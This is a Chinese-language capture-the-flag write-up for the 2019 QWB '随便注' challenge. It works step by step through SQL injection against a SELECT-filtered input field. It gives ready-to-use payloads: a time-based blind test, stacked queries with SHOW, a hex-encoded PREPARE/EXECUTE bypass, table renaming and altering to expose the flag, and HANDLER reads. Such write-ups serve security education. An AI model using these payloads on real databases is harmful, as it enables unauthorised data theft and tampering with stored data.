[强网杯 2019]随便注
文章目录
前言
由题目可以知道这是一个存在 SQL 注入的漏洞,所以上来结合我们所学的进行操作即可
一、判断是否存在注入点
虽然我们已经知道了存在 SQL 注入,但是该走的形势还是要走一下,如果你是大佬那无所谓了。
在数据后面加 '、"、)、)) 这几个的混合,查看页面是否报错如果报错说明存在注入漏洞
在URL 后面加 and 1=1 、and 1=2 查看页面是否一样,如果一样就说明没有注入漏洞
然后我们在输入框数据 1’ ,就可以看到页面展示为:
说面存在注入点。也可以使用**(1’ or 1=1#)**
二、查看字段数
使用 order by 函数进行猜:
1' order by 2 #这个没有报错,页面展示信息正常
1' oreder by 3 # 这个页面展示信息就不一样了
综上可得数据库中只有两列
三、查看信息
我们可以得知这里对函数进行了限制,所以我们需要转换思路进行注入
一、报错注入
从上面给的信息我们可以看出并没有过滤 updatexml 和 Extractvalue 这两个函数,使用的前提是页面会展示报错信息,但是页面没有展示什么报错信息,只是一个 返回语句,所以我们只能放弃
二、布尔、时间盲注
这个方法使用的前提恰好是页面没有展示报错信息,所以我们直接构造 payload 进行注入:
1' and if(ascii(substr(database(),1,1)>1),sleep(3),1)# // 我这里为了展示可行,将判断条件设为 >1 ,这是最快捷的
从结果中很明显的看到时间是延长了,所以是可以利用的,但是这个方法对于不会使用的工具的就很难受了,因为你要一个一个测,就很麻烦,这个方法只能测出数据库名,剩下测的时候需要使用到 SELECT 语句,不过你可以使用 16 进制编码,很麻烦,所以不推荐
三、正则表达式注入
很明显这个方法时不可行的,因为这个里面使用到最关键的一个 SELECT 函数,而这个函数却被拦截
四、堆叠注入
这个方法利用的思路就是,有的工具允许一条语句中存在多条命令,条件就是两条语句之间要使用分隔符分开。在 MYSQL 中 ; 作为分割符,在上面的拦截字符串中并没有出现 ;。
因为在拦截中已经拦截了 SELECT, 所以我们需要找到替代品 — SHOW
1'; show databases# // 这个方法是展示所有数据库
在这里我们可以得出这个方法是可以使用的,我们接着查看所有的数据表:
1'; show tables# // 展示当前数据库的所有数据表
接着我们对数据表中所有的字段:
1'; show columns from words# // 展示 words 表中的数据字段名
1'; show columns from `1919810931114514` # // 在这里我们需要注意。表名为数字时,要用反引号包起来查询。在这个表中我们查询到字段名为 flag ,所以我们可以肯定数据在这里
这后面我不会看的大佬的
一、使用编码方式
prepare的介绍
因为select被过滤了,所以先将select * from 1919810931114514
先编码为 16 进制在进行注入:工具
;SeT@a=0x312773656c6563742a66726f6d603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
二、修改表名
因为这个默认查询就是查询的 words 表,所以我们直接将表名修改,让查询变换一下即可,
思路:
- 将 words 表名变为其他名字
- 将 1919810931114514 表的名字改为 words
- 给新的 words 表添加列 id,(如果不修改会报错)
- 将 flag 设为 data
PS: 为什么添加 id列, 修改 flag字段名,这是因为 words 表字段就是这两个没如果不修改会报错
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);#
修改完成后就可以得到了:
三、使用 HANDLER
1'; handler `1919810931114514` open as `a`; handler `a` read next;#